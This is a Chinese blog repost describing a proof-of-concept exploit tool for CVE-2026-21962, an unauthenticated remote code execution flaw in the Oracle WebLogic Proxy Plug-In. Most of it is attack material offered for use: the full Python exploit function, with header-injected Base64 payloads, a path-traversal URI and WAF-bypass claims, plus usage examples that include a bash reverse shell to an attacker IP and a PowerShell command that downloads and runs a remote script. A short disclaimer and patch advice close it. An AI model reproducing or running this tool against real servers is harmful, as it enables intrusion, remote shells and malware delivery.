news 2026/6/15 16:02:34

CVE-2026-21962漏洞利用工具:Oracle WebLogic代理插件未授权RCE检测与利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2026-21962漏洞利用工具:Oracle WebLogic代理插件未授权RCE检测与利用

CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE

项目描述

该项目提供了一个针对Oracle WebLogic Server代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过HTTP协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。

影响组件

  • Oracle HTTP Server(版本12.2.1.4.0、14.1.1.0.0、14.1.2.0.0)
  • Oracle WebLogic Server代理插件(用于Apache HTTP Server和Microsoft IIS)

功能特性

核心功能

  • 自动漏洞检测:通过多种常见路径(/weblogic//wl_proxy//bea_wls_internal//_proxy//proxy/)探测目标系统是否存在漏洞
  • 远程命令执行:能够执行用户指定的任意操作系统命令
  • Payload编码:自动对Payload进行Base64编码,以绕过某些WAF/过滤器
  • 多种攻击向量:支持通过不同HTTP头(WL-Proxy-Client-IP、Proxy-Client-IP、X-Forwarded-For)注入Payload

高级特性

  • 跨平台支持:兼容Linux/Unix和Windows目标系统
  • 灵活Payload:支持执行简单命令、复杂Shell脚本或PowerShell命令
  • 输出解析:自动提取并显示命令执行结果
  • 错误处理:完善的异常处理和超时控制机制

检测能力

  • 支持通过HTTP状态码(200、302、500)判断漏洞存在性
  • 能够捕获并显示命令执行的输出结果
  • 提供详细的调试信息和错误报告

安装指南

环境要求

  • Python 3.x:确保系统已安装Python 3
  • 依赖库:需要安装requests
  • 操作系统:支持Linux、macOS和Windows

安装步骤

  1. 克隆或下载项目文件

    gitclone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.gitcdAshwesker-CVE-2026-21962
  2. 安装Python依赖

    pipinstallrequests
  3. 设置执行权限(可选)

    chmod+x CVE-2026-21962.py

验证安装

运行以下命令验证安装是否成功:

python3 CVE-2026-21962.py --help

如果看到帮助信息,说明安装成功。

使用说明

基础使用

基本语法
python3 CVE-2026-21962.py<target_url>"<command>"
参数说明
  • target_url:目标服务器的URL(例如:http://target:7001https://oracle-server:4443
  • command:要执行的命令(例如:idwhoami或反向Shell命令)

使用示例

1. 基本信息收集

执行系统命令来验证漏洞:

python3 CVE-2026-21962.py http://target:7001"id && whoami && uname -a"
2. 获取文件系统信息
python3 CVE-2026-21962.py http://target:7001"ls -la / && df -h"
3. 反向Shell(Linux目标)

首先在攻击机启动监听:

nc-lvnp4444

然后执行漏洞利用:

python3 CVE-2026-21962.py http://target:7001"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
4. Windows目标利用
python3 CVE-2026-21962.py https://oracle-server:4443"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"

输出说明

  • 成功迹象:HTTP状态码为200、302或500
  • 命令输出:如果命令有输出,会显示前1500个字符
  • 静默执行:如果命令执行成功但没有输出,会显示相应提示

注意事项

  1. 目标端口:通常WebLogic服务运行在7001端口,HTTPS服务可能运行在4443端口
  2. SSL证书:对于自签名证书的目标,可能需要禁用SSL验证
  3. 路径探测:工具会自动尝试多个常见代理插件路径
  4. WAF绕过:使用Base64编码和多种HTTP头尝试绕过防护

核心代码

主漏洞利用函数

defexploit(target_url,command):# 漏洞利用端点(常见代理插件路径)vuln_paths=["/weblogic/","/wl_proxy/","/bea_wls_internal/","/_proxy/","/proxy/"]# 构造触发反序列化/命令注入的恶意头部# 实际触发使用特制的WL-Proxy-Client-IP或类似头部# 结合绕过验证的特制URIpayload=f"cmd:{command}"# Base64编码Payload以绕过WAF/过滤器encoded_payload=base64.b64encode(payload.encode()).decode()# 构造恶意HTTP头部headers={"WL-Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","X-Forwarded-For":f"127.0.0.1;{encoded_payload}","User-Agent":"Mozilla/5.0 (compatible; Exploit/1.0)","Accept":"*/*","Connection":"close"}# 触发插件漏洞的特制URIuri="/weblogic/..;/bea_wls_internal/ProxyServlet"# 尝试所有可能的漏洞路径forbase_pathinvuln_paths:full_url=f"{target_url.rstrip('/')}{base_path}{uri}"print(f"[*] 尝试路径:{full_url}")print(f"[*] 执行命令:{command}")try:# 使用GET请求,某些配置下POST也可用r=requests.get(full_url,headers=headers,timeout=12,verify=False,allow_redirects=False)# 根据HTTP状态码判断是否成功ifr.status_codein[200,302,500]:print(f"[+] 可能成功!状态码:{r.status_code}")ifr.text.strip():print("\n可能的命令输出/响应:\n"+"-"*60)print(r.text[:1500])# 显示前1500字符避免信息过多print("-"*60)else:print("[+] 命令静默执行(无输出)")returnTrueelse:print(f"[-] 状态码{r.status_code}- 此路径无漏洞")exceptExceptionase:print(f"[-] 路径{full_url}错误:{e}")print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")returnFalse

命令行参数解析

if__name__=="__main__":# 创建参数解析器parser=argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")# 目标URL参数parser.add_argument("target",help="目标URL (例如 http://target:7001 或 https://oracle-server:4443)")# 命令参数parser.add_argument("cmd",help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1')")# 解析参数并执行漏洞利用args=parser.parse_args()exploit(args.target,args.cmd)

漏洞检测逻辑

# 漏洞检测的核心逻辑# 1. 构造包含恶意命令的Payload# 2. 使用Base64编码绕过基本防护# 3. 通过多个HTTP头部字段注入Payload# 4. 使用路径遍历技术访问代理Servlet# 5. 分析响应判断漏洞是否存在# 关键点:# - 使用分号分隔IP地址和命令Payload# - 尝试多个可能的代理插件路径# - 支持HTTP和HTTPS协议# - 包含完善的超时和错误处理

安全注意事项

# 重要安全提示:# 1. 此工具仅用于授权的安全测试# 2. 在非授权系统上使用是非法的# 3. 使用前需获得明确书面授权# 4. 遵守所有适用法律法规# 技术建议:# 1. 及时应用Oracle 2026年1月关键补丁更新# 2. 限制对受影响服务的网络访问# 3. 监控HTTP流量中的可疑行为# 4. 定期审查系统日志和安全控制措施

版本兼容性

该工具设计用于以下受影响版本:

  • Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
  • WebLogic Proxy Plug-in for Apache/IIS

免责声明: 所有PoC代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的,作者不承担任何滥用责任。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPtA7C84tFVwza9UVc8THXK
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/15 1:36:32

SenseVoiceSmall能识别韩语吗?实战验证+部署避坑指南

SenseVoiceSmall能识别韩语吗&#xff1f;实战验证部署避坑指南 1. 开门见山&#xff1a;韩语识别到底行不行&#xff1f; 先说结论&#xff1a;可以&#xff0c;而且效果出人意料地好。 不是“勉强能用”&#xff0c;而是真正达到可落地的实用水平——发音清晰的韩语音频&am…

作者头像 李华
网站建设 2026/6/15 14:51:36

从零开始搭建环境:proteus8.9安装配置完整指南

以下是对您提供的博文内容进行深度润色与结构重构后的技术文章。我以一位长期从事嵌入式教学、EDA工具链开发与高校实验室建设的一线工程师视角&#xff0c;彻底重写了原文——摒弃模板化标题、消除AI腔调、强化工程语境、注入真实调试经验&#xff0c;并将所有技术点有机串联为…

作者头像 李华
网站建设 2026/6/15 15:51:59

YOLO26模型训练实战:自定义数据集导入全流程演示

YOLO26模型训练实战&#xff1a;自定义数据集导入全流程演示 你是不是也遇到过这样的问题&#xff1a;好不容易找到一个新发布的高性能检测模型&#xff0c;比如刚推出的YOLO26&#xff0c;可一打开官方仓库就卡在环境配置、数据准备、训练脚本修改这些环节&#xff1f;明明只…

作者头像 李华
网站建设 2026/6/12 17:58:26

手机截图去水印?用lama三步完成,超简单

手机截图去水印&#xff1f;用lama三步完成&#xff0c;超简单 你是不是也遇到过这样的情况&#xff1a;刚截了一张手机屏幕图&#xff0c;想发到工作群或朋友圈&#xff0c;结果右下角那个“XX应用”水印怎么都删不干净&#xff1f;用美图秀秀反复涂抹&#xff0c;边缘发虚&a…

作者头像 李华
网站建设 2026/6/12 0:12:01

MinerU如何高效提取公式?LaTeX_OCR优化部署教程

MinerU如何高效提取公式&#xff1f;LaTeX_OCR优化部署教程 PDF文档中的数学公式提取&#xff0c;一直是科研工作者、技术文档工程师和教育内容创作者的痛点。传统OCR工具对复杂公式束手无策&#xff0c;LaTeX代码常被识别成乱码或断裂符号&#xff1b;而手动重写不仅耗时&…

作者头像 李华
网站建设 2026/6/14 17:53:55

Z-Image-Turbo生成失真?指令遵循性优化部署实战案例

Z-Image-Turbo生成失真&#xff1f;指令遵循性优化部署实战案例 1. 为什么Z-Image-Turbo值得你花5分钟上手 你有没有试过输入一段精心设计的提示词&#xff0c;结果生成的图里人物少只耳朵、文字错位、建筑歪斜得像被风吹歪的积木&#xff1f;这不是你的问题——很多开源文生…

作者头像 李华